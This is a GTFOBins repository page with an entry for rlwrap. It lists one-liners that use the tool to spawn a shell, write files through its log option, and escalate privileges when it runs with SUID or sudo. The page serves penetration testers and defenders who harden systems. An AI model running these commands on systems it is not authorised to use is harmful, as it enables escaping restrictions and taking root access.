1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-17 04:51:34 +01:00
GTFOBins.github.io/_gtfobins/rlwrap.md
2018-07-16 15:01:50 +02:00

15 lines
375 B
Markdown

---
functions:
execute-interactive:
- code: rlwrap /bin/sh
file-write:
- description: This adds timestamps to the output file. This relies on the external `echo` command.
code: |
LFILE=file_to_write
rlwrap -l "$LFILE" echo data
suid-enabled:
- code: ./rlwrap -H /dev/null /bin/sh -p
sudo-enabled:
- code: sudo rlwrap /bin/sh
---